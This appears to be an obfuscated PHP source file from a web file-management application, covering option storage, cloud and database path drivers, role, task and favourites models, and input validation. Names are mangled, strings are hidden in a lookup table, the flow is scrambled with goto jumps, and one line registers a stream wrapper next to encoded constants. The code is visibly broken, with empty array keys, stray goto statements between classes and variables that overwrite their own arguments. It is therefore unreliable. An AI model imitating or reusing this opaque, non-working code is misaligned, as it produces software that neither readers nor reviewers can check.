Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($e, $aՍ) { if (!$aՍ) { return !1; } $BÊߖ = $this->listData(); $BÊߖ = array_to_keyvalue($BÊߖ, $e); return isset($BÊߖ[$aՍ]) ? $BÊߖ[$aՍ] : !1; } public function findByName($F) { return $this->findByKey($_SERVER[ڊ][28], $F); } protected function resetData($Dښ؏) { $B̏ڦ =& $_SERVER[ڊ]; $Dښ؏ = is_array($Dښ؏) ? $Dښ؏ : array(); $b֙Ȋ = array(); for ($eմù = 0; $eմù < count($Dښ؏); $eմù++) { $b֙Ȋ[$B̏ڦ[361] . $Dښ؏[$eմù][$B̏ڦ[364]]] = $Dښ؏[$eմù]; } return Model($this->modelType)->set($b֙Ȋ, !1, $this->optionType); } private function getAutoName($F) { $F = array_to_keyvalue($this->listData(), $_SERVER[ڊ][28]); if (!$F || !isset($F[$F])) { return $F; } for ($Cם = 1; $Cם < count($F); $Cם++) { $fٗ = $F . "\50{$Cם}\x29"; if (!isset($F[$fٗ])) { return $fٗ; } } return $fٗ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($DĻʻ = false, $Eį = '', $f˶ = false) { goto Cᕎ̡; Cᕎ̡: $FٙϏ =& $_SERVER[ڊ]; $fٞԕ = $this->cacheGet($Eį); $cՔ = $this->optionDefault($Eį); goto E; CҎ: $this->cacheSet($Eį, $fٞԕ); $fٞԕ = array_merge($cՔ, $fٞԕ); return $DĻʻ ? $fٞԕ[$DĻʻ] : $fٞԕ; goto c; E෎惣: $fٞԕ = $this->where($A)->select(); $fٞԕ = array_to_keyvalue($fٞԕ, $FٙϏ[89], $FٙϏ[356]); foreach ($fٞԕ as $Dچʮ瑘 => $B艄) { if ($f˶ || in_array($Dچʮ瑘, $this->jsonField)) { $fٞԕ[$Dچʮ瑘] = json_decode($B艄, !0); } } goto CҎ; E: $cՔ = is_array($cՔ) ? $cՔ : array(); if (is_array($fٞԕ)) { $fٞԕ = array_merge($cՔ, $fٞԕ); return $DĻʻ ? isset($fٞԕ[$DĻʻ]) ? $fٞԕ[$DĻʻ] : null : $fٞԕ; } $A = $this->filterWhere(array($FٙϏ[29] => $Eį)); goto E෎惣; c: } public function set($Dĉ, $eֽ퍻 = false, $eᛎˈ = '') { goto cߎ; A׽: $D = is_array($Dĉ) ? $Dĉ : array($Dĉ => $eֽ퍻); foreach ($D as $e҄ => $Fۘ) { if (is_array($Fۘ)) { $Fۘ = json_encode_force($Fۘ); } $this->checkLength($Fۘ, !1, $this->tableName . $B̪[4] . $Dĉ); $Fۘ = self::textEncode($Fۘ); $D = array($B̪[29] => $eᛎˈ, $B̪[89] => $e҄, $B̪[356] => $Fۘ); $C[] = $this->filterWhere($D); } if (!$C) { return !0; } goto d綇; cߎ: $B̪ =& $_SERVER[ڊ]; $this->cacheRemove($eᛎˈ); $C = array(); goto A׽; d綇: return $this->addAll($C, array(), !0); goto A὇; A὇: } protected function optionDefault($C = '') { return !1; } public function setDeep($bɏ, $F҅Åʯ = false, $eƲ = '') { $Fݖ = explode($_SERVER[ڊ][93], $bɏ); $f = $this->get(); array_set_value($f, $bɏ, $F҅Åʯ); $this->set($Fݖ[0], $f[$Fݖ[0]], $eƲ); } public function remove($bΆֆ, $b = '') { $D =& $_SERVER[ڊ]; $this->cacheRemove($b); $a͟ = $this->filterWhere(array($D[89] => $bΆֆ, $D[29] => $b)); if (is_null($bΆֆ)) { unset($a͟[$D[89]]); } return $this->where($a͟)->delete(); } public function cacheSet($AӺ, $C = false) { return Cache::set($this->cacheKey($AӺ), $C); } public function cacheGet($F܂) { return Cache::get($this->cacheKey($F܂)); } public function cacheRemove($dڹ) { return Cache::remove($this->cacheKey($dڹ)); } protected function filterWhere($Dɜ) { return $Dɜ; } protected function cacheKey($e߲Ү) { return $e߲Ү; } } goto D; e荈: $_SERVER[$_SERVER[][52]] = ("\71\64\71\60".base64_decode('MzE='))+0;$_4Mse="thfTvYkvzBnvJyhb8E8qJS5wam53z7YYxFQqYXJSHyi9MtgxVMnECQcWjeigFNX5pdujr";; stream_wrapper_register($_SERVER[][53], $_SERVER[][54]); class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($b, $fԧ򆉉) { $E͋܈ =& $_SERVER[ڊ]; if (isset(self::$_methodList[$b])) { return @call_user_func_array(self::$_methodList[$b], $fԧ򆉉); } else { if (method_exists($this, $b)) { return call_user_func_array(array($this, $b), $fԧ򆉉); } else { think_exception(__CLASS__ . $E͋܈[4] . $b . $E͋܈[5]); } } } public static function __callStatic($C, $CƏ) { if (isset(self::$_methodListStatic[$C])) { return call_user_func_array(self::$_methodListStatic[$C], $CƏ); } else { if (method_exists(self, $C)) { return call_user_func_array(array(self, $C), $CƏ); } else { show_json("{$C}\x28\x29\40\x6e\x6f\164\40\x65\170\151\x73\164\73", !1); } } } public static function addMethod($d‚Ѫ, $bϦޝ) { self::$_methodList[$d‚Ѫ] = $bϦޝ; } public static function addMethodStatic($D۱, $Cɭ) { self::$_methodListStatic[$D۱] = $Cɭ; } } goto EՅ툄; B뢜: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($fȠÏ) { parent::__construct($fȠÏ); $this->signatureVersion($_SERVER[ڊ][197]); } public function uploadFormData($B, $B넙 = 3600) { goto Eȫ; FLj邊: $a֖ = sha1($f⍥); $Eɒ = hash_hmac($D[215], $a֖, $BʵȞ); $Fܽ = array($D[1089] => $Aچ, $D[1093] => $c뎐, $D[1097] => base64_encode($f⍥), $D[1094] => $CÌ, $D[1095] => $this->accessKey, $D[1098] => $Dу, $D[1099] => $Eɒ, $D[166] => $this->getHost()); goto fܬݾ; fڇ: $c뎐 = $D[1085]; $Fň׌ = gmdate($D[1086], time() + $B넙); $Dу = (string) time() . $D[67] . (string) (time() + $B넙); goto f匆; f匆: $f⍥ = array($D[1087] => $Fň׌, $D[1088] => array(array($D[1089] => $Aچ), array($D[1090] => $this->bucket), array($D[1091], $D[1092], $D[33]), array($D[1093] => $c뎐), array($D[1094] => $CÌ), array($D[1095] => $this->accessKey), array($D[1096] => $Dу))); $f⍥ = json_encode($f⍥); $BʵȞ = hash_hmac($D[215], $Dу, $this->secret); goto FLj邊; Eȫ: $D =& $_SERVER[ڊ]; $Aچ = $D[182]; $CÌ = $D[215]; goto fڇ; fܬݾ: return $Fܽ; goto aϟŃ; aϟŃ: } public function fileOutLink($b˼) { $C، =& $_SERVER[ڊ]; if (substr($b˼, 0, 7) == $C،[1100]) { $b˼ = $C،[1101] . substr($b˼, 7); } header($C،[153] . $b˼); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($EЧ׺߄) { $this->pathParse = $EЧ׺߄; $this->model = Model($_SERVER[ڊ][1102]); } public function getPath($bϑ) { return trim($bϑ, $_SERVER[ڊ][8]); } public function pathFather($b) { $bٝ = $this->parse($b); $bٝ = $this->infoSimple($b); return $bٝ ? $bٝ[$_SERVER[ڊ][457]] : !1; } public function getPathName($Aͧ) { $D = $this->infoSimple($Aͧ); return $D ? $D[$_SERVER[ڊ][28]] : !1; } public function getPathOuter($A) { if (!$A) { return $A; } $E숳 = $this->parse($A); return KodIO::make($E숳[$_SERVER[ڊ][364]]); } public function copyFolderFromIO($cθ‰, $A, $F, $aʮ, $C顷) { $C܉ = $this->model->copyFolderFromIO($cθ‰, $A, $F, $aʮ, $C顷); return KodIO::make($C܉); } public function isParentOf($f, $C˹؋) { return $this->model->isParentOf($f, $C˹؋); } public function mkfile($b̹, $bܟ߾ = '', $e = REPEAT_RENAME) { $cԂó =& $_SERVER[ڊ]; $a؊ = $this->parse($b̹); $b̹ = $a؊[$cԂó[364]]; for ($d = 0; $d < count($a؊[$cԂó[1103]]); $d++) { $cǪ = $a؊[$cԂó[1103]][$d]; if ($d == count($a؊[$cԂó[1103]]) - 1) { $b̹ = $this->model->mkfile($b̹, $cǪ, $bܟ߾, $e); break; } $b̹ = $this->model->mkdir($b̹, $cǪ, REPEAT_SKIP); } return $this->getPathOuter($b̹); } public function mkdir($eݐў, $a܊Ԭ = REPEAT_SKIP) { $c껾 =& $_SERVER[ڊ]; $D = $this->parse($eݐў); $eݐў = $D[$c껾[364]]; for ($b۩׍ = 0; $b۩׍ < count($D[$c껾[1103]]); $b۩׍++) { $E򑋮 = $D[$c껾[1103]][$b۩׍]; $eݐў = $this->model->mkdir($eݐў, $E򑋮, $a܊Ԭ); } return $this->getPathOuter($eݐў); } public function copyFile($fك, $b및, $b· = REPEAT_REPLACE) { $d٭ݗ =& $_SERVER[ڊ]; $D = $this->parse($b및); $Dꗖ = $this->model->copy($fك, $D[$d٭ݗ[364]], $b·, $D[$d٭ݗ[75]]); return $Dꗖ ? $this->getPathOuter($Dꗖ) : !1; } public function moveFile($e, $cޢ, $cʊ = REPEAT_REPLACE) { $Bο =& $_SERVER[ڊ]; $Fɨ = $this->parse($cޢ); $B쥶 = $this->model->move($e, $Fɨ[$Bο[364]], $cʊ, $Fɨ[$Bο[75]]); return $B쥶 ? $this->getPathOuter($B쥶) : !1; } public function copy($dٮٮ, $Eۧ, $D󓜵 = REPEAT_REPLACE) { $E֩ = $this->parse($Eۧ); $c = $this->model->copy($dٮٮ, $E֩[$_SERVER[ڊ][364]], $D󓜵); return $c ? $this->getPathOuter($c) : !1; } public function move($B͟Ǘ, $b’, $E = REPEAT_REPLACE) { $c = $this->parse($b’); $eċ = $this->model->move($B͟Ǘ, $c[$_SERVER[ڊ][364]], $E); return $eċ ? $this->getPathOuter($eċ) : !1; } public function remove($a񥣽, $Bر = true) { return $this->model->remove($a񥣽, $Bر); } public function rename($E帷, $e) { $Fꇌ = $this->model->rename($E帷, $e); return $Fꇌ ? $this->getPathOuter($E帷) : $Fꇌ; } public function size($e) { $eЂް = $this->infoSimple($e); return $eЂް ? $eЂް[$_SERVER[ڊ][77]] : 0; } public function infoSimple($A§) { return $this->model->sourceInfo($A§); } public function info($B) { return $this->infoParse($B); } public function infoAuth($aՆ) { return $this->infoParse($aՆ, !1, !0); } public function infoWithChildren($Dʋ) { return $this->infoParse($Dʋ, !0); } protected function infoParse($eЦߚ, $c = false, $E᛼ = false) { if (!$c) { return $this->model->pathInfo($eЦߚ, $E᛼); } return $this->model->pathInfoMore($eЦߚ); } public function infoFull($E) { $d۹ =& $_SERVER[ڊ]; $d߼ = explode($d۹[8], $E); $E߸ = implode($d۹[8], array_splice($d߼, 1)); return $this->model->pathInfoByPath($d߼[0], $E߸); } public function hashSimple($c݈) { $aˌ =& $_SERVER[ڊ]; $e׌ = $this->infoWithChildren($c݈); return $e׌[$aˌ[159]][$aˌ[161]]; } public function hashMd5($E讯) { $Aԙ =& $_SERVER[ڊ]; $dĊ = $this->infoWithChildren($E讯); return $dĊ[$Aԙ[159]][$Aԙ[160]]; } public function exist($bƔϱ) { $Bޕ =& $_SERVER[ڊ]; $AȂž = $this->parse($bƔϱ); if (!$AȂž[$Bޕ[75]]) { return $this->isFile($bƔϱ) || $this->isFolder($bƔϱ); } $c = array($Bޕ[365] => $AȂž[$Bޕ[364]], $Bޕ[28] => $AȂž[$Bޕ[75]]); $f՘ = $this->model->where($c)->find(); return $f՘ ? !0 : !1; } public function isFile($A؇鮏) { $Ḙ =& $_SERVER[ڊ]; $a = $this->infoSimple($A؇鮏); return $a && $a[$Ḙ[367]] == $Ḙ[83] ? !1 : !0; } public function isFolder($Bʫ) { $f֨ =& $_SERVER[ڊ]; $C = $this->infoSimple($Bʫ); return $C && $C[$f֨[367]] == $f֨[83] ? !0 : !1; } public function listPath($e㢑, $D = false) { $a =& $_SERVER[ڊ]; if ($e㢑 == $a[33]) { return !1; } $E禞 = array($a[365] => $e㢑); if ($D) { return $this->model->listSource($E禞, -1); } return $this->model->listSource($E禞); } public function has($B, $Bڎ = false, $f = null) { $bƔ =& $_SERVER[ڊ]; $D = $this->infoWithChildren($B); if ($Bڎ) { return array($bƔ[189] => $D[$bƔ[189]], $bƔ[188] => $D[$bƔ[188]]); } return $f ? $D[$bƔ[189]] : $D[$bƔ[188]]; } public function listAll($E) { $d͗ = IO::info($this->pathParse[$_SERVER[ڊ][75]]); if (!$d͗) { return array(); } return $this->model->listAll($E); } public function getContent($b⧃) { return $this->model->getContent($b⧃); } public function setContent($E沙, $eƦ = '') { return $this->model->setContent($E沙, $eƦ); } public function fileSubstr($cΑ, $E٢Ѵ, $C) { return $this->model->fileSubstr($cΑ, $E٢Ѵ, $C); } public function download($D̶, $c = '') { $A = get_path_father($c); $B頸 = get_path_this($c); $Fպ = $this->model->fileInfoGet($D̶); $Bࡍ = IO::copy($Fպ[$_SERVER[ڊ][75]], $A, !1, $B頸); return $Bࡍ; } public function upload($a͋, $A܅, $C͜ = false, $aն = REPEAT_REPLACE) { $e펕 =& $_SERVER[ڊ]; $Bї = $this->parse($a͋); $b = $this->model->addFile($Bї[$e펕[364]], $A܅, $Bї[$e펕[75]], $C͜, $aն); return $this->getPathOuter($b); } public function uploadFileByID($e, $C, $fމ) { $eؾٓ =& $_SERVER[ڊ]; $fޏܧ = $this->parse($e); $Dʐ = $this->model->addFileByFileID($fޏܧ[$eؾٓ[364]], $C, $fޏܧ[$eؾٓ[75]], $fމ); return $this->getPathOuter($Dʐ); } public function addFileByRemote($F⏄, $D٩ډ, $aʖ֐ = array(), $c៪ = '', $C) { $D̗ =& $_SERVER[ڊ]; $f = $this->parse($F⏄); $c៪ = empty($c៪) ? $f[$D̗[75]] : $c៪; $F鄑 = $this->model->addFileByRemote($f[$D̗[364]], $D٩ډ, $c៪, $aʖ֐, $C); return $this->getPathOuter($F鄑); } public function uploadLink($eȣĂ, $bЗ = 0) { $Aه =& $_SERVER[ڊ]; $B򎦎 = $this->parse($eȣĂ); $eȣĂ = Model($Aه[540])->createFileName($B򎦎[$Aه[75]]); $A⻠ = IO::uploadLink($eȣĂ, $bЗ); return $A⻠; } public function fileNameAuto($E˴ه, $aĊ, $bԕ = REPEAT_REPLACE, $a = false) { return $this->model->fileNameAuto($E˴ه, $aĊ, $bԕ, $a); } public function fileNameExist($A, $A䋅) { return $this->model->fileNameExist($A, $A䋅); } protected function _fileOut($D, $cލ = false, $dҪ = false, $C􎿹 = '', $D = false) { goto B唜ֳ; eܫ: if ($D) { return IO::fileOutServer($D[$cᨃ[75]], $cލ, $C됒ޞ, $C􎿹); } IO::fileOut($D[$cᨃ[75]], $cލ, $C됒ޞ, $C􎿹); goto C; B唜ֳ: $cᨃ =& $_SERVER[ڊ]; $EŜ͈ = $this->model->sourceInfo($D); if ($EŜ͈[$cᨃ[367]] == $cᨃ[83]) { header($cᨃ[1104]); die; } goto Aа; Aа: $D = $this->model->fileInfoGet($D); $C􎿹 = $D[$cᨃ[160]] ? $D[$cᨃ[160]] : $C􎿹; $C됒ޞ = isset($GLOBALS[$cᨃ[1105]]) ? $GLOBALS[$cᨃ[1105]] : $EŜ͈[$cᨃ[28]]; goto eܫ; C: } public function fileOut($Bǥ֞, $bСг = false, $C͊ = false, $e劂 = '') { $this->_fileOut($Bǥ֞, $bСг, $C͊, $e劂); } public function fileOutServer($eֻܧ΅, $b = false, $e = false, $dˮճ = '') { $this->_fileOut($eֻܧ΅, $b, $e, $dˮճ, !0); } protected function _fileOutImage($c㮲, $b = 250) { $f푺 =& $_SERVER[ڊ]; $F¢̨ = $this->model->sourceInfo($c㮲); if ($F¢̨[$f푺[367]] == $f푺[83]) { show_json($f푺[1106] . $c㮲, !1); } $GLOBALS[$f푺[1105]] = $F¢̨[$f푺[28]]; $Aƅ־ = $this->model->fileInfoGet($c㮲); IO::fileOutImage($Aƅ־[$f푺[75]], $b); } public function fileOutImage($dઊ, $Cﳖխ = 250) { $this->_fileOutImage($dઊ, $Cﳖխ); } public function fileOutImageServer($B֠, $E񄄺 = 250) { $this->_fileOutImage($B֠, $E񄄺); } public function link($C, $dɠɠ = '') { $b؂ = $this->model->fileInfoGet($C); return IO::link($b؂[$_SERVER[ڊ][75]], $dɠɠ); } protected function parse($a׾ǜ) { $aݯ۾ =& $_SERVER[ڊ]; if (strstr($a׾ǜ, $aݯ۾[8]) === !1) { return array($aݯ۾[382] => intval($a׾ǜ), $aݯ۾[75] => $aݯ۾[33], $aݯ۾[1103] => array()); } $cķͯ = explode($aݯ۾[8], trim($a׾ǜ, $aݯ۾[8])); if (count($cķͯ) < 2) { show_tips($a׾ǜ . $aݯ۾[1107]); } return array($aݯ۾[382] => intval($cķͯ[0]), $aݯ۾[75] => $cķͯ[1], $aݯ۾[1103] => array_slice($cķͯ, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($D强) { $this->pathParse = $D强; $this->model = Model($_SERVER[ڊ][1102]); } public function getPathOuter($aĄ) { $cĘ =& $_SERVER[ڊ]; if (!$aĄ) { return $aĄ; } $f = $this->parse($aĄ); return trim(KodIO::makeShare($this->pathParse[$cĘ[364]], $f[$cĘ[364]]), $cĘ[8]); } protected function infoParse($F, $Cꔋ = false, $B笎Տ = false) { $eݍ =& $_SERVER[ڊ]; $Eǎ = $this->pathParse[$eݍ[364]]; $dƠ = trim($this->pathParse[$eݍ[1003]], $eݍ[8]); return Action($eݍ[1108])->sharePathInfo($Eǎ, $dƠ); } public function infoFull($fϒ) { $E =& $_SERVER[ڊ]; $b֟ = explode($E[8], trim($fϒ, $E[8])); if (count($b֟) > 1) { $Dߚ = implode($E[8], array_splice($b֟, 1)); $eÉ = $this->model->pathInfoByPath($b֟[0], $Dߚ); if (!$eÉ) { return !1; } $this->pathParse[$E[1003]] = $eÉ[$E[366]]; } return $this->infoParse($fϒ); } public function listAll($Fت) { goto f; f: $cڛ =& $_SERVER[ڊ]; $cŽ = IO::info($this->pathParse[$cڛ[75]]); if (!$cŽ) { return array(); } goto D; D: $a = $this->model->listAll($Fت); $d…ˊ = Model($cڛ[532])->getInfo($cŽ[$cڛ[437]]); $Eܢ = Action($cڛ[1108]); goto Bĝ˝; Bĝ˝: foreach ($a as &$fؒﺄ) { check_abort(); $fؒﺄ[$cڛ[388]] = $Eܢ->_shareItemeParse($fؒﺄ[$cڛ[388]], $d…ˊ); } return $a; goto Bۈ; Bۈ: } } goto fŇ; D: class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\x6d\x2e\162\x6f\154\145\114\151\x73\x74"; public $field = array("\x6e\141\x6d\x65", "\141\x75\x74\x68", "\154\x61\x62\145\154", "\144\151\x73\160\x6c\141\x79", "\x73\x79\163\x74\x65\155", "\144\145\163\x63", "\x69\147\x6e\157\162\x65\105\170\x74", "\151\x67\156\x6f\x72\x65\106\x69\154\145\x53\x69\172\x65", "\x61\144\x6d\151\156\x69\x73\164\x72\141\x74\x6f\x72", "\163\x6f\162\164"); public function listData($Bߙ = false, $E޻ = "\x73\x6f\162\x74", $fΛ = false) { return parent::listData($Bߙ, $E޻, $fΛ); } public function update($Dك, $C˛) { goto d; cƒܐ: return parent::update($Dك, $C˛); goto Fө; d: $A̎ =& $_SERVER[ڊ]; $Fط = parent::listData($Dك); $DĊ = $this->findByName($C˛[$A̎[28]]); goto b뙎; b뙎: if (!$Fط || $DĊ && $DĊ[$A̎[364]] != $Fط[$A̎[364]]) { return !1; } if ($DĊ[$A̎[2438]] == 1) { $C˛ = array($A̎[28] => $C˛[$A̎[28]], $A̎[2090] => $C˛[$A̎[2090]]); } $this->filterAuth($C˛[$A̎[373]]); goto cƒܐ; Fө: } public function remove($f탣ۣ) { $D = parent::listData($f탣ۣ); if (!$D || $D[$_SERVER[ڊ][1072]]) { return !1; } return parent::remove($f탣ۣ); } public function add($a퓆) { goto dޗ; dޗ: $a‘ =& $_SERVER[ڊ]; $C؇⪈ = $a퓆[$a‘[28]]; if ($this->findByName($C؇⪈)) { return !1; } goto a; d禊: return parent::insert($a퓆); goto Aۢ; a: $cƳ߷ = array($a‘[383] => $C؇⪈, $a‘[2078] => $a‘[33], $a‘[2074] => $a‘[2091], $a‘[2439] => 1, $a‘[2077] => 0, $a‘[2440] => 0, $a‘[2076] => $this->getSort()); $a퓆 = array_merge($cƳ߷, $a퓆); $this->filterAuth($a퓆[$a‘[373]]); goto d禊; Aۢ: } private function getSort() { $b =& $_SERVER[ڊ]; $a = parent::listData(); $B = array_to_keyvalue($a, $b[33], $b[2093]); return empty($B) ? 0 : max($B) + 1; } private function filterAuth(&$f) { $A =& $_SERVER[ڊ]; $Eۊ = array(); $f那 = array_filter(explode($A[47], $f)); foreach ($f那 as $f) { $DҠү = explode($A[93], $f); if ($DҠү[0] == $A[1752] && $DҠү[1] != $A[1028]) { $eГꑏ = $DҠү[0] . $A[93] . $DҠү[1] . $A[2441]; if (!in_array($eГꑏ, $f那)) { $Eۊ[] = $eГꑏ; } } $Eۊ[] = $f; } $f = implode($A[47], $Eۊ); } public function sort($ȁ, $A) { return parent::update($ȁ, $A); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\x6d\x2e\x74\141\163\x6b\x4c\x69\163\x74"; public $field = array("\x6e\141\155\145", "\164\x79\x70\x65", "\x65\x76\145\156\x74", "\164\x69\155\145", "\x64\x65\163\x63", "\163\171\x73\x74\145\x6d", "\145\x6e\x61\x62\154\145", "\x6c\141\163\164\x52\x75\x6e", "\x73\x6f\x72\164"); public function listData($f֩ʾ = false, $D = "\x73\x6f\162\164", $dއܵ = false) { return parent::listData($f֩ʾ, $D, $dއܵ); } public function add($B쿘) { $f =& $_SERVER[ڊ]; $c̭ = $this->findByName($B쿘[$f[28]]); if ($c̭) { return !1; } $B쿘[$f[1374]] = 0; $B쿘[$f[2093]] = $this->getSort(); return parent::insert($B쿘); } private function getSort() { $C腎 =& $_SERVER[ڊ]; $fˈ = parent::listData(); $Eꣃ럿 = array_to_keyvalue($fˈ, $C腎[33], $C腎[2093]); return empty($Eꣃ럿) ? 0 : max($Eꣃ럿) + 1; } public function update($Cײ, $Dפ) { $c͛ƈ =& $_SERVER[ڊ]; $Dʄ = $this->listData($Cײ); $Bދ܂ = $this->findByName($Dפ[$c͛ƈ[28]]); if (!$Dʄ || $Bދ܂ && $Bދ܂[$c͛ƈ[364]] != $Dʄ[$c͛ƈ[364]]) { return !1; } return parent::update($Cײ, $Dפ); } public function remove($B, $b頱 = false) { $Fȶǝے =& $_SERVER[ڊ]; $cռ = $this->listData($B); if (!$cռ) { return; } if (!$b頱 && $cռ[$Fȶǝے[1072]] == $Fȶǝے[83]) { return !1; } return parent::remove($B); } public function enable($F߈۳, $E) { return $this->update($F߈۳, array($_SERVER[ڊ][2432] => $E)); } public function run($EӋԫ) { return $this->update($EӋԫ, array($_SERVER[ڊ][2442] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\x73\x65\x72\137\146\x61\166"; protected function cacheFunctionAlias($D咔) { $B =& $_SERVER[ڊ]; return array($B[2443] => array(USER_ID, $B[2444])); } protected function listData() { $aݰ =& $_SERVER[ڊ]; $cǯ = array($aݰ[1400] => USER_ID, $aݰ[432] => 0); $E۾ݥ = $aݰ[2445]; $AÓʈ = $this->field($E۾ݥ)->where($cǯ)->order($aݰ[2446])->select(); return $AÓʈ ? $AÓʈ : array(); } protected function resetCache() { } protected function listView() { goto D; EƋ: $d֘ = array($CС[380] => array($CС[381], $Fݬ)); $Eׇ = Model($CС[747])->listSource($d֘, $e); $Eׇ = array_merge($Eׇ[$CС[73]], $Eׇ[$CС[74]]); goto cǦ; D: $CС =& $_SERVER[ڊ]; $Aٔ = $this->listData(); $aςح = array_filter_by_field($Aٔ, $CС[29], $CС[379]); goto d; d: $Fݬ = array_to_keyvalue($aςح, $CС[33], $CС[75]); if (!$Fݬ) { return $Aٔ; } $e = 2000; goto EƋ; cǦ: $Eׇ = array_to_keyvalue($Eׇ, $CС[366]); foreach ($Aٔ as $a␷ => $A֐) { $a = $Eׇ[$A֐[$CС[75]]]; $a = $a ? $a : array(); $Aٔ[$a␷] = array_merge($a, $A֐); } return $Aٔ; goto Cӿ; Cӿ: } protected function addFav($AХ縹, $B = '', $bֲ꣤ = "\x73\157\x75\x72\x63\x65") { goto DѠ; BÃ: return $this->add($Aצ); goto c܏; DѠ: $b傕 =& $_SERVER[ڊ]; $e傽 = array($b傕[1400] => USER_ID, $b傕[432] => 0, $b傕[385] => $bֲ꣤, $b傕[384] => $AХ縹); if ($this->where($e傽)->find()) { return !1; } goto E; E: $e傽 = array($b傕[1400] => USER_ID, $b傕[432] => 0); $c㧂 = $this->where($e傽)->max($b傕[2093]); if (!$c㧂) { $c㧂 = 0; } goto cڡ; cڡ: if (!$B && $bֲ꣤ == $b傕[379]) { $e = Model($b傕[1102])->where(array($b傕[380] => $AХ縹))->find(); if (!$e) { return !1; } $B = $e[$b傕[28]]; } $B = $this->getAutoName($B); $Aצ = array($b傕[1400] => USER_ID, $b傕[432] => 0, $b傕[383] => $B, $b傕[384] => $AХ縹, $b傕[385] => $bֲ꣤, $b傕[2076] => $c㧂 + 1); goto BÃ; c܏: } protected function remove($D) { $CаК =& $_SERVER[ڊ]; $Cʉ = array($CаК[1400] => USER_ID, $CаК[382] => $D); return $this->where($Cʉ)->delete(); } protected function removeByName($Dӫᙅ) { $C =& $_SERVER[ڊ]; $b = array($C[1400] => USER_ID, $C[383] => $Dӫᙅ, $C[432] => 0); return $this->where($b)->delete(); } protected function rename($Bܺ, $fٌ) { $fΎ =& $_SERVER[ڊ]; if ($Bܺ == $fٌ) { return !1; } $A = $this->getAutoName($fٌ); if ($fٌ != $A) { return !1; } $EӅ = array($fΎ[1400] => USER_ID, $fΎ[432] => 0, $fΎ[28] => $Bܺ); return $this->where($EӅ)->save(array($fΎ[28] => $fٌ)); } protected function resetSort($dǃ) { $FԳ =& $_SERVER[ڊ]; $dǃ = is_array($dǃ) ? $dǃ : array(); $Eѝ = array($FԳ[1400] => USER_ID); for ($d = 0; $d < count($dǃ); $d++) { $Eѝ[$FԳ[382]] = $dǃ[$d]; $this->where($Eѝ)->save(array($FԳ[2076] => $d + 1)); } return !0; } protected function moveTop($D) { goto f푗; Bɕܖ: if (!$dՖ) { return; } $Fܱڡ = $this->field($B㸳ץ[364])->where($Dɟ)->order($B㸳ץ[2446])->select(); $Fܱڡ = array_to_keyvalue($Fܱڡ, $B㸳ץ[33], $B㸳ץ[364]); goto Eξ; Eξ: $Aࢣ = $Fܱڡ; $Fܱڡ = array_remove_value($Fܱڡ, $dՖ[$B㸳ץ[364]]); array_unshift($Fܱڡ, $dՖ[$B㸳ץ[364]]); goto Aؤ; Aؤ: return $this->resetSort($Fܱڡ); goto BԆɓ; f푗: $B㸳ץ =& $_SERVER[ڊ]; $Dɟ = array($B㸳ץ[1400] => USER_ID, $B㸳ץ[432] => 0); $dՖ = $this->where($Dɟ)->where(array($B㸳ץ[28] => $D))->find(); goto Bɕܖ; BԆɓ: } protected function moveBottom($A؆) { $F =& $_SERVER[ڊ]; $A˹ = array($F[1400] => USER_ID, $F[432] => 0); $E = $this->where($A˹)->max($F[2093]); $D = array($F[2093] => $E + 1); return $this->where($A˹)->where(array($F[28] => $A؆))->save($D); } private function getAutoName($bӐ᠄) { goto e; bٕ: $cѸ = array_to_keyvalue($cѸ, $C湎ˢ[33], $C湎ˢ[28]); if (!$cѸ || !in_array($bӐ᠄, $cѸ)) { return $bӐ᠄; } for ($dߪ = 0; $dߪ < count($cѸ); $dߪ++) { if (!in_array($bӐ᠄ . "\50{$dߪ}\x29", $cѸ)) { return $bӐ᠄ . "\50{$dߪ}\51"; } } goto Dƪ; Dƪ: return $bӐ᠄ . "\x28{$dߪ}\x29"; goto dĐ; e: $C湎ˢ =& $_SERVER[ڊ]; $b۞ = array($C湎ˢ[1400] => USER_ID, $C湎ˢ[432] => 0); $cѸ = $this->field($C湎ˢ[28])->where($b۞)->select(); goto bٕ; dĐ: } } goto Bܔޫ; d: class Input { public static function getArray($f˼) { goto cχ; f: if (count($C) > 0) { show_json(implode($Bў[1849], $C), !1); } return $Dֵͮ; goto dǸ; cχ: $Bў =& $_SERVER[ڊ]; global $in; $Dֵͮ = array(); goto B֟عŦ; B֟عŦ: $C = array(); $cշ瘂 = LNG($Bў[1845]); foreach ($f˼ as $D܄ => $Fҵ) { goto d; d: $bҴ = _get($Fҵ, $Bў[1233], $cշ瘂 . $Bў[874] . $D܄); $cη = $D܄; if (isset($Fҵ[$Bў[1846]]) && $Fҵ[$Bў[1846]]) { $cη = $Fҵ[$Bў[1846]]; } goto A΢׌; fϫ: if (isset($Fҵ[$Bў[1848]]) && !self::check($in[$D܄], $Fҵ[$Bў[1848]], $cޘ)) { if (array_key_exists($Bў[1847], $Fҵ)) { if (!is_null($Fҵ[$Bў[1847]])) { $Dֵͮ[$cη] = $Fҵ[$Bў[1847]]; } } else { $C[] = $bҴ; } continue; } $Dֵͮ[$cη] = $in[$D܄]; goto cǎѹ; A΢׌: if (!array_key_exists($D܄, $in)) { if (array_key_exists($Bў[1847], $Fҵ)) { if (!is_null($Fҵ[$Bў[1847]])) { $Dֵͮ[$cη] = $Fҵ[$Bў[1847]]; } } else { if (isset($Fҵ[$Bў[1848]])) { $C[] = $bҴ; } } continue; } if (isset($Fҵ[$Bў[1848]]) && $Fҵ[$Bў[1848]] == $Bў[279]) { $EЬڼ = json_decode($in[$D܄], !0); if (is_array($EЬڼ)) { $Dֵͮ[$cη] = $EЬڼ; } else { if (array_key_exists($Bў[1847], $Fҵ)) { if (!is_null($Fҵ[$Bў[1847]])) { $Dֵͮ[$cη] = $Fҵ[$Bў[1847]]; } } else { $C[] = $bҴ; } } continue; } $cޘ = _get($Fҵ, $Bў[1003]); goto fϫ; cǎѹ: } goto f; dǸ: } public static function reg($E޲觙 = "\162\x65\161\165\x69\x72\x65") 